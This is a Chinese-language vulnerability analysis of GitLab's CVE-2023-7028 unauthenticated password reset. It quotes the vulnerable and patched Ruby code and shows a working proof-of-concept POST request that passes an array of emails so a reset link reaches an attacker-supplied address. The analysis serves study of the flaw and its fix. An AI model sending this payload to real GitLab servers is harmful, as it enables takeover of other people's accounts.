浅析Gitlab未授权密码重置(CVE-2023-7028) 补丁在https://gitlab.com/rluna-gitlab/gitlab-ce/-/commit/24d1060c0ae7d0ba432271da98f4fa20ab6fd671,由于问题非常简单,这里就不多说了
可以看到在原来的逻辑当中app/models/concerns/recoverable_by_any_email.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions (attributes = {}) email = attributes.delete(:email ) super unless email recoverable = by_email_with_errors(email) recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted? recoverable end private def by_email_with_errors (email) record = find_by_any_email(email, confirmed: true ) || new record.errors.add(:email , :invalid ) unless record.persisted? record end end def send_reset_password_instructions (opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end private def send_reset_password_instructions_notification (token, opts = {}) send_devise_notification(:reset_password_instructions , token, opts) end end
首先获取参数email
,通过by_email_with_errors
方法查找用户,如果未找到用户也会向记录中添加错误,接下来我们具体看看find_by_any_email
方法,如果email
参数存在则继续向下执行by_any_email
方法
1 2 3 4 5 def find_by_any_email (email, confirmed: false ) return unless email by_any_email(email, confirmed: confirmed).take end
在这里我们也不必要梳理具体的逻辑,从by_user_email
的参数我们可以看出,它通过iwhere
去查找对应的记录,同时我们可以发现从参数类型可以看到它是支持数组的!如果记录存在就会触发密码重置邮件的发送。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def by_any_email (emails, confirmed: false ) from_users = by_user_email(emails) from_users = from_users.confirmed if confirmed from_emails = by_emails(emails).merge(Email.confirmed) from_emails = from_emails.confirmed if confirmed items = [from_users, from_emails] user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase )) items << where(id: user_ids) if user_ids.present? from_union(items) end xxx省略xxx scope :by_user_email , -> (emails) { iwhere(email: Array(emails)) } scope :by_emails , -> (emails) { joins(:emails ).where(emails: { email: Array(emails).map(&:downcase ) }) } scope :for_todos , -> (todos) { where(id: todos.select(:user_id ).distinct) } scope :with_emails , -> { preload(:emails ) } scope :with_dashboard , -> (dashboard) { where(dashboard: dashboard) } scope :with_public_profile , -> { where(private_profile: false ) } scope :with_expiring_and_not_notified_personal_access_tokens , ->(at) do where('EXISTS (?)' , : :PersonalAccessToken .where('personal_access_tokens.user_id = users.id' ) .without_impersonation .expiring_and_not_notified(at).select(1 ) )
因此我们不难构造其poc
1 2 3 4 5 POST /users/password HTTP/1.1 Host: 118.195.225.92:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 authenticity_token=GNymVmxzUZVZrVqQS5cCtrlDwdbdGpmh4v4ojIqKc1r_yUalsQ7K5QclCQihuK88E2lJvcMGcPr5E4uJH1qtGw&user[email][]=123@163.com&user[email][]=47.109.68.247:1234/?a=@qq.com
简单看一下修复后的代码,虽然代码变动还是蛮大的,但是我们不难发现有一点,在查询时调用了attributes[:email].to_s
,这个to_s
其实就会将其转换为字符串,也避免了数组的问题,后面还有些其他的改动当然不是很重要,有兴趣自己看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions (attributes = {}) return super unless attributes[:email ] email = Email.confirmed.find_by(email: attributes[:email ].to_s) return super unless email recoverable = email.user recoverable.send_reset_password_instructions(to: email.email) recoverable end end def send_reset_password_instructions (opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end protected def send_reset_password_instructions_notification (token, opts = {}) send_devise_notification(:reset_password_instructions , token, opts) end end